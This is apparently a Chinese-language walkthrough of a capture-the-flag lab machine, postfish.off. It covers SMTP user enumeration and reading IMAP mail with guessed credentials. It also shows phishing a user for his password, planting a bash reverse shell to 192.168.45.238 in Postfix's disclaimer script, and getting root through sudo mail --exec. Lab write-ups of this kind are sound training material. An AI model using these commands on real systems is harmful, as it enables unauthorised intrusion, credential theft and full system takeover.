先來看看這臺主機上面有什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.155.137 -type recon;
SMTP 的服務是開啟的 我們可以試著列舉 username 看看有沒有機會找到有用的資訊
這邊我們用 cewl 這套工具在網路上幫我們製作字典表
cewl -d 2 -w cewl-wordlist.txt http://postfish.off
接著用做好的字典表去試看看 SMTP 服務 也許可以找到甚麼資訊
從這結果看來 Sales 與 Legal 是存在的合法 users
smtp-user-enum -M VRFY -U ./cewl-wordlist.txt -t $tIP
因為 IMAP 與 POP3 是郵件相關的服務,因此這題應該是要我們去讀郵件
所以我們去參照 hacktricks 的作法去列出前5封郵件 https://hacktricks.boitatech.com.br/pentesting/pentesting-imap#curl
因為不知道 sales的密碼 所以只能先猜看看 sales的密碼是不是一樣的
非常順利的我們讀到了信件的內容 看起來是 IT會寄出密碼重置的連結給 sales team 的人
換句話說 sales team 的人應該會點擊由 IT寄過來的信
for m in {1..5}; do\n echo $m\n curl "imap://postfish.off/INBOX;MAILINDEX=$m" --user sales:sales\ndone
我們來研究一下找到的網頁 http://postfish.off/team.html
由網頁上的人員介紹看起來 只有這個 Brian Moore屬於 sales team 的人
因為我們並不知道這間公司是如何定義郵件所使用的 username 所以我們需要有工具幫忙產生各種可能的排列組合
這邊我使用這支 https://github.com/jseidl/usernamer/blob/master/usernamer.py
他會幫忙產生以 Brian Moore 為主的字典檔
python2 usernamer.py -n 'Brian Moore' > Brian_Moore_list
接著 我們用 SMTP去 try 看那個組合是對的
然後我們發現 Brian.Moore 存在
smtp-user-enum -M VRFY -U ./Brian_Moore_list -t $tIP
接著我們開啟監聽 然後寄信給 Brain Moore 並附上我們的 ip位置
然後我們就順利的拿到了 Brain 的密碼 EternaLSunshinE
接著就是我們登入系統 拿取 flag的時候了
telnet $tIP smtp
Brian.Moore 的密碼是 EternaLSunshinE,來登入 SSH看看
ssh brian.moore@$tIP
我們用 Linpeas 跑一下看看有沒有弱點是可以利用來提升權限的
網上查了一下 disclaimer 能被利用,依照這篇文章 https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze 的說法,我們有機會寫入一個 reverse shell 到 disclaimer. 一但有信件被收到,這個 disclaimer 就會被自動執行
所以我們現在來寫 disclaimer 的內容,讓他來連回我們的 Kali
echo '#!/bin/bash' > /etc/postfix/disclaimer
echo 'bash -i >& /dev/tcp/192.168.45.238/80 0>&1' >> /etc/postfix/disclaimer
接著設定一個監聽程式在 Port 80 然後寄出信件
$ telnet $tIP smtp
Trying 192.168.155.137...
Connected to 192.168.155.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
helo yahoo
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
give me admin
.
250 2.0.0 Ok: queued as 07209458FA
quit
221 2.0.0 Bye
Connection closed by foreign host.
拿到 reverse shell 後先看看這個 User 能執行甚麼樣的 root 權限
然後上GTFO bin 上去找 https://gtfobins.github.io/gtfobins/mail/#sudo
順利提權 拿到 flag!
sudo -u root /usr/bin/mail --exec='!/bin/sh'
這題也是不簡單啊!